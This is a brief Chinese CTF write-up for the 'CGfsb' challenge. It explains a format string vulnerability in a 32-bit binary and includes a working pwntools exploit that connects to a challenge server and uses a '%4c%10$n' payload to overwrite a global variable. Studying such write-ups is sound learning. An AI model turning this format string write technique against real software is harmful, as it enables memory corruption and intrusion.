文件下载地址:
链接:https://pan.baidu.com/s/1a9zj-OQAOgTw7KooZPBBaQ
提取码:y9wi
0x01.分析
checksec:
32位程序,没有开启ASLR。
查看源码:
利用漏洞:
在查看源码的时候,很明显的发现23行存在格式化字符串漏洞,后面如果pwnme等于8,那么就可以直接得到flag,所以我们要利用格式化字符串漏洞修改pwnme为8,查看pwnme,发现在bss段,得到地址:
继续确定偏移量:
偏移量为10。可以开始写exp了。
0x02.exp
##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",36301)
#r=process('./CGfsb')
pwnme_addr=0x0804A068
r.sendlineafter("please tell me your name:","ATFWUS")
payload=p32(pwnme_addr)+"%4c%10$n"
r.sendlineafter("leave your message please:",payload)
r.interactive()